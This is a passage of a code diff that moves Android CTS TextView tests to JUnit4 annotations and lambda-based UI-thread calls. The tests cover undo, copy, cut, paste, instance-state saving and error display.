+    @Test
+    public void testUndo_directAppend() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
         // Type some text.
-        mKeyEventUtil.sendString(mTextView, "abc");
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Programmatically append some text.
-                mTextView.append("def");
-                assertEquals("abcdef", mTextView.getText().toString());
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "abc");
+        mActivityRule.runOnUiThread(() -> {
+            // Programmatically append some text.
+            mTextView.append("def");
+            assertEquals("abcdef", mTextView.getText().toString());
 
-                // Undo removes the append as a separate step.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("abc", mTextView.getText().toString());
+            // Undo removes the append as a separate step.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("abc", mTextView.getText().toString());
 
-                // Another undo removes the original typing.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("", mTextView.getText().toString());
-            }
+            // Another undo removes the original typing.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("", mTextView.getText().toString());
         });
         mInstrumentation.waitForIdleSync();
     }
 
-    public void testUndo_directInsert() {
-        initTextViewForTyping();
+    @Test
+    public void testUndo_directInsert() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
         // Type some text.
-        mKeyEventUtil.sendString(mTextView, "abc");
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Directly modify the underlying Editable to insert some text.
-                // NOTE: This is a violation of the API of getText() which specifies that the
-                // returned object should not be modified. However, some apps do this anyway and
-                // the framework needs to handle it.
-                Editable text = (Editable) mTextView.getText();
-                text.insert(0, "def");
-                assertEquals("defabc", mTextView.getText().toString());
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "abc");
+        mActivityRule.runOnUiThread(() -> {
+            // Directly modify the underlying Editable to insert some text.
+            // NOTE: This is a violation of the API of getText() which specifies that the
+            // returned object should not be modified. However, some apps do this anyway and
+            // the framework needs to handle it.
+            Editable text = (Editable) mTextView.getText();
+            text.insert(0, "def");
+            assertEquals("defabc", mTextView.getText().toString());
 
-                // Undo removes the insert as a separate step.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("abc", mTextView.getText().toString());
+            // Undo removes the insert as a separate step.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("abc", mTextView.getText().toString());
 
-                // Another undo removes the original typing.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("", mTextView.getText().toString());
-            }
+            // Another undo removes the original typing.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("", mTextView.getText().toString());
         });
         mInstrumentation.waitForIdleSync();
     }
 
+    @UiThreadTest
+    @Test
     public void testUndo_noCursor() {
         initTextViewForTyping();
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Append some text to create an undo operation. There is no cursor present.
-                mTextView.append("cat");
+        // Append some text to create an undo operation. There is no cursor present.
+        mTextView.append("cat");
 
-                // Place the cursor at the end of the text so the undo will have to change it.
-                Selection.setSelection((Spannable) mTextView.getText(), 3);
+        // Place the cursor at the end of the text so the undo will have to change it.
+        Selection.setSelection((Spannable) mTextView.getText(), 3);
 
-                // Undo the append. This should not crash, despite not having a valid cursor
-                // position in the undo operation.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-            }
-        });
-        mInstrumentation.waitForIdleSync();
+        // Undo the append. This should not crash, despite not having a valid cursor
+        // position in the undo operation.
+        mTextView.onTextContextMenuItem(android.R.id.undo);
     }
 
-    public void testUndo_textWatcher() {
-        initTextViewForTyping();
+    @Test
+    public void testUndo_textWatcher() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
         // Add a TextWatcher that converts the text to spaces on each change.
         mTextView.addTextChangedListener(new ConvertToSpacesTextWatcher());
 
         // Type some text.
-        mKeyEventUtil.sendString(mTextView, "abc");
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // TextWatcher altered the text.
-                assertEquals("   ", mTextView.getText().toString());
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "abc");
+        mActivityRule.runOnUiThread(() -> {
+            // TextWatcher altered the text.
+            assertEquals("   ", mTextView.getText().toString());
 
-                // Undo reverses both changes in one step.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("", mTextView.getText().toString());
-            }
+            // Undo reverses both changes in one step.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("", mTextView.getText().toString());
         });
         mInstrumentation.waitForIdleSync();
     }
 
+    @UiThreadTest
+    @Test
     public void testUndo_textWatcherDirectAppend() {
         initTextViewForTyping();
 
         // Add a TextWatcher that converts the text to spaces on each change.
         mTextView.addTextChangedListener(new ConvertToSpacesTextWatcher());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Programmatically append some text. The TextWatcher changes it to spaces.
-                mTextView.append("abc");
-                assertEquals("   ", mTextView.getText().toString());
+        // Programmatically append some text. The TextWatcher changes it to spaces.
+        mTextView.append("abc");
+        assertEquals("   ", mTextView.getText().toString());
 
-                // Undo reverses both changes in one step.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("", mTextView.getText().toString());
-            }
-        });
-        mInstrumentation.waitForIdleSync();
+        // Undo reverses both changes in one step.
+        mTextView.onTextContextMenuItem(android.R.id.undo);
+        assertEquals("", mTextView.getText().toString());
     }
 
-    public void testUndo_shortcuts() {
-        initTextViewForTyping();
+    @Test
+    public void testUndo_shortcuts() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
         // Type some text.
-        mKeyEventUtil.sendString(mTextView, "abc");
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Pressing Control-Z triggers undo.
-                KeyEvent control = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_Z, 0,
-                        KeyEvent.META_CTRL_LEFT_ON);
-                assertTrue(mTextView.onKeyShortcut(KeyEvent.KEYCODE_Z, control));
-                assertEquals("", mTextView.getText().toString());
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "abc");
+        mActivityRule.runOnUiThread(() -> {
+            // Pressing Control-Z triggers undo.
+            KeyEvent control = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_Z, 0,
+                    KeyEvent.META_CTRL_LEFT_ON);
+            assertTrue(mTextView.onKeyShortcut(KeyEvent.KEYCODE_Z, control));
+            assertEquals("", mTextView.getText().toString());
 
-                // Pressing Control-Shift-Z triggers redo.
-                KeyEvent controlShift = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_Z,
-                        0, KeyEvent.META_CTRL_LEFT_ON | KeyEvent.META_SHIFT_LEFT_ON);
-                assertTrue(mTextView.onKeyShortcut(KeyEvent.KEYCODE_Z, controlShift));
-                assertEquals("abc", mTextView.getText().toString());
-            }
+            // Pressing Control-Shift-Z triggers redo.
+            KeyEvent controlShift = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_Z,
+                    0, KeyEvent.META_CTRL_LEFT_ON | KeyEvent.META_SHIFT_LEFT_ON);
+            assertTrue(mTextView.onKeyShortcut(KeyEvent.KEYCODE_Z, controlShift));
+            assertEquals("abc", mTextView.getText().toString());
         });
         mInstrumentation.waitForIdleSync();
     }
 
-    public void testUndo_saveInstanceState() {
-        initTextViewForTyping();
+    @Test
+    public void testUndo_saveInstanceState() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
         // Type some text to create an undo operation.
-        mKeyEventUtil.sendString(mTextView, "abc");
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Parcel and unparcel the TextView.
-                Parcelable state = mTextView.onSaveInstanceState();
-                mTextView.onRestoreInstanceState(state);
-            }
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "abc");
+        mActivityRule.runOnUiThread(() -> {
+            // Parcel and unparcel the TextView.
+            Parcelable state = mTextView.onSaveInstanceState();
+            mTextView.onRestoreInstanceState(state);
         });
         mInstrumentation.waitForIdleSync();
 
         // Delete a character to create a new undo operation.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                assertEquals("ab", mTextView.getText().toString());
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_DEL);
+        mActivityRule.runOnUiThread(() -> {
+            assertEquals("ab", mTextView.getText().toString());
 
-                // Undo the delete.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("abc", mTextView.getText().toString());
+            // Undo the delete.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("abc", mTextView.getText().toString());
 
-                // Undo the typing, which verifies that the original undo operation was parceled
-                // correctly.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("", mTextView.getText().toString());
+            // Undo the typing, which verifies that the original undo operation was parceled
+            // correctly.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("", mTextView.getText().toString());
 
-                // Parcel and unparcel the undo stack (which is empty but has been used and may
-                // contain other state).
-                Parcelable state = mTextView.onSaveInstanceState();
-                mTextView.onRestoreInstanceState(state);
-            }
+            // Parcel and unparcel the undo stack (which is empty but has been used and may
+            // contain other state).
+            Parcelable state = mTextView.onSaveInstanceState();
+            mTextView.onRestoreInstanceState(state);
         });
         mInstrumentation.waitForIdleSync();
     }
 
-    public void testUndo_saveInstanceStateEmpty() {
-        initTextViewForTyping();
+    @Test
+    public void testUndo_saveInstanceStateEmpty() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
         // Type and delete to create two new undo operations.
-        mKeyEventUtil.sendString(mTextView, "a");
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Empty the undo stack then parcel and unparcel the TextView. While the undo
-                // stack contains no operations it may contain other state.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                Parcelable state = mTextView.onSaveInstanceState();
-                mTextView.onRestoreInstanceState(state);
-            }
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "a");
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_DEL);
+        mActivityRule.runOnUiThread(() -> {
+            // Empty the undo stack then parcel and unparcel the TextView. While the undo
+            // stack contains no operations it may contain other state.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            Parcelable state = mTextView.onSaveInstanceState();
+            mTextView.onRestoreInstanceState(state);
         });
         mInstrumentation.waitForIdleSync();
 
         // Create two more undo operations.
-        mKeyEventUtil.sendString(mTextView, "b");
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Verify undo still works.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("b", mTextView.getText().toString());
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("", mTextView.getText().toString());
-            }
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "b");
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_DEL);
+        mActivityRule.runOnUiThread(() -> {
+            // Verify undo still works.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("b", mTextView.getText().toString());
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("", mTextView.getText().toString());
         });
         mInstrumentation.waitForIdleSync();
     }
 
+    @UiThreadTest
+    @Test
     public void testCopyAndPaste() {
         initTextViewForTyping();
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText("abcd", BufferType.EDITABLE);
-                mTextView.setSelected(true);
 
-                // Copy "bc".
-                Selection.setSelection((Spannable) mTextView.getText(), 1, 3);
-                mTextView.onTextContextMenuItem(android.R.id.copy);
+        mTextView.setText("abcd", BufferType.EDITABLE);
+        mTextView.setSelected(true);
 
-                // Paste "bc" between "b" and "c".
-                Selection.setSelection((Spannable) mTextView.getText(), 2, 2);
-                mTextView.onTextContextMenuItem(android.R.id.paste);
-                assertEquals("abbccd", mTextView.getText().toString());
+        // Copy "bc".
+        Selection.setSelection((Spannable) mTextView.getText(), 1, 3);
+        mTextView.onTextContextMenuItem(android.R.id.copy);
 
-                // Select entire text and paste "bc".
-                Selection.selectAll((Spannable) mTextView.getText());
-                mTextView.onTextContextMenuItem(android.R.id.paste);
-                assertEquals("bc", mTextView.getText().toString());
-            }
-        });
-        mInstrumentation.waitForIdleSync();
+        // Paste "bc" between "b" and "c".
+        Selection.setSelection((Spannable) mTextView.getText(), 2, 2);
+        mTextView.onTextContextMenuItem(android.R.id.paste);
+        assertEquals("abbccd", mTextView.getText().toString());
+
+        // Select entire text and paste "bc".
+        Selection.selectAll((Spannable) mTextView.getText());
+        mTextView.onTextContextMenuItem(android.R.id.paste);
+        assertEquals("bc", mTextView.getText().toString());
     }
 
-    public void testCopyAndPaste_byKey() {
-        initTextViewForTyping();
+    @Test
+    public void testCopyAndPaste_byKey() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
         // Type "abc".
-        mKeyEventUtil.sendString(mTextView, "abc");
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Select "bc"
-                Selection.setSelection((Spannable) mTextView.getText(), 1, 3);
-            }
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "abc");
+        mActivityRule.runOnUiThread(() -> {
+            // Select "bc"
+            Selection.setSelection((Spannable) mTextView.getText(), 1, 3);
         });
         mInstrumentation.waitForIdleSync();
         // Copy "bc"
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_COPY);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_COPY);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Set cursor between 'b' and 'c'.
-                Selection.setSelection((Spannable) mTextView.getText(), 2, 2);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            // Set cursor between 'b' and 'c'.
+            Selection.setSelection((Spannable) mTextView.getText(), 2, 2);
         });
         mInstrumentation.waitForIdleSync();
         // Paste "bc"
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_PASTE);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_PASTE);
         assertEquals("abbcc", mTextView.getText().toString());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                Selection.selectAll((Spannable) mTextView.getText());
-                KeyEvent copyWithMeta = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
-                        KeyEvent.KEYCODE_COPY, 0, KeyEvent.META_SHIFT_LEFT_ON);
-                // Shift + copy doesn't perform copy.
-                mTextView.onKeyDown(KeyEvent.KEYCODE_COPY, copyWithMeta);
-                Selection.setSelection((Spannable) mTextView.getText(), 0, 0);
-                mTextView.onTextContextMenuItem(android.R.id.paste);
-                assertEquals("bcabbcc", mTextView.getText().toString());
+        mActivityRule.runOnUiThread(() -> {
+            Selection.selectAll((Spannable) mTextView.getText());
+            KeyEvent copyWithMeta = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
+                    KeyEvent.KEYCODE_COPY, 0, KeyEvent.META_SHIFT_LEFT_ON);
+            // Shift + copy doesn't perform copy.
+            mTextView.onKeyDown(KeyEvent.KEYCODE_COPY, copyWithMeta);
+            Selection.setSelection((Spannable) mTextView.getText(), 0, 0);
+            mTextView.onTextContextMenuItem(android.R.id.paste);
+            assertEquals("bcabbcc", mTextView.getText().toString());
 
-                Selection.selectAll((Spannable) mTextView.getText());
-                copyWithMeta = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_COPY, 0,
-                        KeyEvent.META_CTRL_LEFT_ON);
-                // Control + copy doesn't perform copy.
-                mTextView.onKeyDown(KeyEvent.KEYCODE_COPY, copyWithMeta);
-                Selection.setSelection((Spannable) mTextView.getText(), 0, 0);
-                mTextView.onTextContextMenuItem(android.R.id.paste);
-                assertEquals("bcbcabbcc", mTextView.getText().toString());
+            Selection.selectAll((Spannable) mTextView.getText());
+            copyWithMeta = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_COPY, 0,
+                    KeyEvent.META_CTRL_LEFT_ON);
+            // Control + copy doesn't perform copy.
+            mTextView.onKeyDown(KeyEvent.KEYCODE_COPY, copyWithMeta);
+            Selection.setSelection((Spannable) mTextView.getText(), 0, 0);
+            mTextView.onTextContextMenuItem(android.R.id.paste);
+            assertEquals("bcbcabbcc", mTextView.getText().toString());
 
-                Selection.selectAll((Spannable) mTextView.getText());
-                copyWithMeta = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_COPY, 0,
-                        KeyEvent.META_SHIFT_LEFT_ON | KeyEvent.META_CTRL_LEFT_ON);
-                // Control + Shift + copy doesn't perform copy.
-                mTextView.onKeyDown(KeyEvent.KEYCODE_COPY, copyWithMeta);
-                Selection.setSelection((Spannable) mTextView.getText(), 0, 0);
-                mTextView.onTextContextMenuItem(android.R.id.paste);
-                assertEquals("bcbcbcabbcc", mTextView.getText().toString());
-            }
+            Selection.selectAll((Spannable) mTextView.getText());
+            copyWithMeta = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_COPY, 0,
+                    KeyEvent.META_SHIFT_LEFT_ON | KeyEvent.META_CTRL_LEFT_ON);
+            // Control + Shift + copy doesn't perform copy.
+            mTextView.onKeyDown(KeyEvent.KEYCODE_COPY, copyWithMeta);
+            Selection.setSelection((Spannable) mTextView.getText(), 0, 0);
+            mTextView.onTextContextMenuItem(android.R.id.paste);
+            assertEquals("bcbcbcabbcc", mTextView.getText().toString());
         });
         mInstrumentation.waitForIdleSync();
     }
 
+    @UiThreadTest
+    @Test
     public void testCutAndPaste() {
         initTextViewForTyping();
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText("abcd", BufferType.EDITABLE);
-                mTextView.setSelected(true);
 
-                // Cut "bc".
-                Selection.setSelection((Spannable) mTextView.getText(), 1, 3);
-                mTextView.onTextContextMenuItem(android.R.id.cut);
-                assertEquals("ad", mTextView.getText().toString());
+        mTextView.setText("abcd", BufferType.EDITABLE);
+        mTextView.setSelected(true);
 
-                // Cut "ad".
-                Selection.setSelection((Spannable) mTextView.getText(), 0, 2);
-                mTextView.onTextContextMenuItem(android.R.id.cut);
-                assertEquals("", mTextView.getText().toString());
+        // Cut "bc".
+        Selection.setSelection((Spannable) mTextView.getText(), 1, 3);
+        mTextView.onTextContextMenuItem(android.R.id.cut);
+        assertEquals("ad", mTextView.getText().toString());
 
-                // Paste "ad".
-                mTextView.onTextContextMenuItem(android.R.id.paste);
-                assertEquals("ad", mTextView.getText().toString());
-            }
-        });
-        mInstrumentation.waitForIdleSync();
+        // Cut "ad".
+        Selection.setSelection((Spannable) mTextView.getText(), 0, 2);
+        mTextView.onTextContextMenuItem(android.R.id.cut);
+        assertEquals("", mTextView.getText().toString());
+
+        // Paste "ad".
+        mTextView.onTextContextMenuItem(android.R.id.paste);
+        assertEquals("ad", mTextView.getText().toString());
     }
 
-    public void testCutAndPaste_byKey() {
-        initTextViewForTyping();
+    @Test
+    public void testCutAndPaste_byKey() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
         // Type "abc".
-        mKeyEventUtil.sendString(mTextView, "abc");
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Select "bc"
-                Selection.setSelection((Spannable) mTextView.getText(), 1, 3);
-            }
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "abc");
+        mActivityRule.runOnUiThread(() -> {
+            // Select "bc"
+            Selection.setSelection((Spannable) mTextView.getText(), 1, 3);
         });
         mInstrumentation.waitForIdleSync();
         // Cut "bc"
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_CUT);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_CUT);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                assertEquals("a", mTextView.getText().toString());
-                // Move cursor to the head
-                Selection.setSelection((Spannable) mTextView.getText(), 0, 0);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            assertEquals("a", mTextView.getText().toString());
+            // Move cursor to the head
+            Selection.setSelection((Spannable) mTextView.getText(), 0, 0);
         });
         mInstrumentation.waitForIdleSync();
         // Paste "bc"
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_PASTE);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_PASTE);
         assertEquals("bca", mTextView.getText().toString());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                Selection.selectAll((Spannable) mTextView.getText());
-                KeyEvent cutWithMeta = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
-                        KeyEvent.KEYCODE_CUT, 0, KeyEvent.META_SHIFT_LEFT_ON);
-                // Shift + cut doesn't perform cut.
-                mTextView.onKeyDown(KeyEvent.KEYCODE_CUT, cutWithMeta);
-                assertEquals("bca", mTextView.getText().toString());
+        mActivityRule.runOnUiThread(() -> {
+            Selection.selectAll((Spannable) mTextView.getText());
+            KeyEvent cutWithMeta = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
+                    KeyEvent.KEYCODE_CUT, 0, KeyEvent.META_SHIFT_LEFT_ON);
+            // Shift + cut doesn't perform cut.
+            mTextView.onKeyDown(KeyEvent.KEYCODE_CUT, cutWithMeta);
+            assertEquals("bca", mTextView.getText().toString());
 
-                cutWithMeta = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_CUT, 0,
-                        KeyEvent.META_CTRL_LEFT_ON);
-                // Control + cut doesn't perform cut.
-                mTextView.onKeyDown(KeyEvent.KEYCODE_CUT, cutWithMeta);
-                assertEquals("bca", mTextView.getText().toString());
+            cutWithMeta = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_CUT, 0,
+                    KeyEvent.META_CTRL_LEFT_ON);
+            // Control + cut doesn't perform cut.
+            mTextView.onKeyDown(KeyEvent.KEYCODE_CUT, cutWithMeta);
+            assertEquals("bca", mTextView.getText().toString());
 
-                cutWithMeta = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_CUT, 0,
-                        KeyEvent.META_SHIFT_LEFT_ON | KeyEvent.META_CTRL_LEFT_ON);
-                // Control + Shift + cut doesn't perform cut.
-                mTextView.onKeyDown(KeyEvent.KEYCODE_CUT, cutWithMeta);
-                assertEquals("bca", mTextView.getText().toString());
-            }
+            cutWithMeta = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_CUT, 0,
+                    KeyEvent.META_SHIFT_LEFT_ON | KeyEvent.META_CTRL_LEFT_ON);
+            // Control + Shift + cut doesn't perform cut.
+            mTextView.onKeyDown(KeyEvent.KEYCODE_CUT, cutWithMeta);
+            assertEquals("bca", mTextView.getText().toString());
         });
         mInstrumentation.waitForIdleSync();
     }
@@ -1976,41 +2308,40 @@
         return spannable.getSpans(at, at, type).length > 0;
     }
 
+    @UiThreadTest
+    @Test
     public void testCutAndPaste_withAndWithoutStyle() {
         initTextViewForTyping();
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText("example", BufferType.EDITABLE);
-                mTextView.setSelected(true);
 
-                // Set URLSpan.
-                final Spannable spannable = (Spannable) mTextView.getText();
-                spannable.setSpan(new URLSpan("http://example.com"), 0, spannable.length(), 0);
-                assertTrue(hasSpansAtMiddleOfText(mTextView, URLSpan.class));
+        mTextView.setText("example", BufferType.EDITABLE);
+        mTextView.setSelected(true);
 
-                // Cut entire text.
-                Selection.selectAll((Spannable) mTextView.getText());
-                mTextView.onTextContextMenuItem(android.R.id.cut);
-                assertEquals("", mTextView.getText().toString());
+        // Set URLSpan.
+        final Spannable spannable = (Spannable) mTextView.getText();
+        spannable.setSpan(new URLSpan("http://example.com"), 0, spannable.length(), 0);
+        assertTrue(hasSpansAtMiddleOfText(mTextView, URLSpan.class));
 
-                // Paste without style.
-                mTextView.onTextContextMenuItem(android.R.id.pasteAsPlainText);
-                assertEquals("example", mTextView.getText().toString());
-                // Check that the text doesn't have URLSpan.
-                assertFalse(hasSpansAtMiddleOfText(mTextView, URLSpan.class));
+        // Cut entire text.
+        Selection.selectAll((Spannable) mTextView.getText());
+        mTextView.onTextContextMenuItem(android.R.id.cut);
+        assertEquals("", mTextView.getText().toString());
 
-                // Paste with style.
-                Selection.selectAll((Spannable) mTextView.getText());
-                mTextView.onTextContextMenuItem(android.R.id.paste);
-                assertEquals("example", mTextView.getText().toString());
-                // Check that the text has URLSpan.
-                assertTrue(hasSpansAtMiddleOfText(mTextView, URLSpan.class));
-            }
-        });
-        mInstrumentation.waitForIdleSync();
+        // Paste without style.
+        mTextView.onTextContextMenuItem(android.R.id.pasteAsPlainText);
+        assertEquals("example", mTextView.getText().toString());
+        // Check that the text doesn't have URLSpan.
+        assertFalse(hasSpansAtMiddleOfText(mTextView, URLSpan.class));
+
+        // Paste with style.
+        Selection.selectAll((Spannable) mTextView.getText());
+        mTextView.onTextContextMenuItem(android.R.id.paste);
+        assertEquals("example", mTextView.getText().toString());
+        // Check that the text has URLSpan.
+        assertTrue(hasSpansAtMiddleOfText(mTextView, URLSpan.class));
     }
 
     @UiThreadTest
+    @Test
     public void testSaveInstanceState() {
         // should save text when freezesText=true
         TextView originalTextView = new TextView(mActivity);
@@ -2025,6 +2356,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testOnSaveInstanceState_whenFreezesTextIsFalse() {
         final String text = "This is a string";
         { // should not save text when freezesText=false
@@ -2062,6 +2394,7 @@
 
     @UiThreadTest
     @SmallTest
+    @Test
     public void testOnSaveInstanceState_doesNotSaveSelectionWhenDoesNotExist() {
         // prepare TextView for before saveInstanceState
         final String text = "This is a string";
@@ -2081,6 +2414,7 @@
 
     @UiThreadTest
     @SmallTest
+    @Test
     public void testOnSaveInstanceState_doesNotRestoreSelectionWhenTextIsAbsent() {
         // prepare TextView for before saveInstanceState
         final String text = "This is a string";
@@ -2105,6 +2439,7 @@
 
     @UiThreadTest
     @SmallTest
+    @Test
     public void testOnSaveInstanceState_savesSelectionWhenExists() {
         final String text = "This is a string";
         // prepare TextView for before saveInstanceState
@@ -2126,6 +2461,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetText() {
         TextView tv = findTextView(R.id.textview_text);
 
@@ -2148,6 +2484,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessHint() {
         mActivity.setContentView(R.layout.textview_hint_linksclickable_freezestext);
 
@@ -2180,99 +2517,83 @@
         }
     }
 
-    public void testAccessError() {
+    @Test
+    public void testAccessError() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         assertNull(mTextView.getError());
 
         final String errorText = "Oops! There is an error";
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setError(null);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setError(null));
         mInstrumentation.waitForIdleSync();
         assertNull(mTextView.getError());
 
-        final Drawable icon = getDrawable(R.drawable.failed);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setError(errorText, icon);
-            }
-        });
+        final Drawable icon = TestUtils.getDrawable(mActivity, R.drawable.failed);
+        mActivityRule.runOnUiThread(() -> mTextView.setError(errorText, icon));
         mInstrumentation.waitForIdleSync();
         assertEquals(errorText, mTextView.getError().toString());
         // can not check whether the drawable is set correctly
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setError(null, null);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setError(null, null));
         mInstrumentation.waitForIdleSync();
         assertNull(mTextView.getError());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setKeyListener(DigitsKeyListener.getInstance(""));
-                mTextView.setText("", BufferType.EDITABLE);
-                mTextView.setError(errorText);
-                mTextView.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setKeyListener(DigitsKeyListener.getInstance(""));
+            mTextView.setText("", BufferType.EDITABLE);
+            mTextView.setError(errorText);
+            mTextView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
 
         assertEquals(errorText, mTextView.getError().toString());
 
-        mKeyEventUtil.sendString(mTextView, "a");
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "a");
         // a key event that will not change the TextView's text
         assertEquals("", mTextView.getText().toString());
         // The icon and error message will not be reset to null
         assertEquals(errorText, mTextView.getError().toString());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setKeyListener(DigitsKeyListener.getInstance());
-                mTextView.setText("", BufferType.EDITABLE);
-                mTextView.setError(errorText);
-                mTextView.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setKeyListener(DigitsKeyListener.getInstance());
+            mTextView.setText("", BufferType.EDITABLE);
+            mTextView.setError(errorText);
+            mTextView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
 
-        mKeyEventUtil.sendString(mTextView, "1");
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "1");
         // a key event cause changes to the TextView's text
         assertEquals("1", mTextView.getText().toString());
         // the error message and icon will be cleared.
         assertNull(mTextView.getError());
     }
 
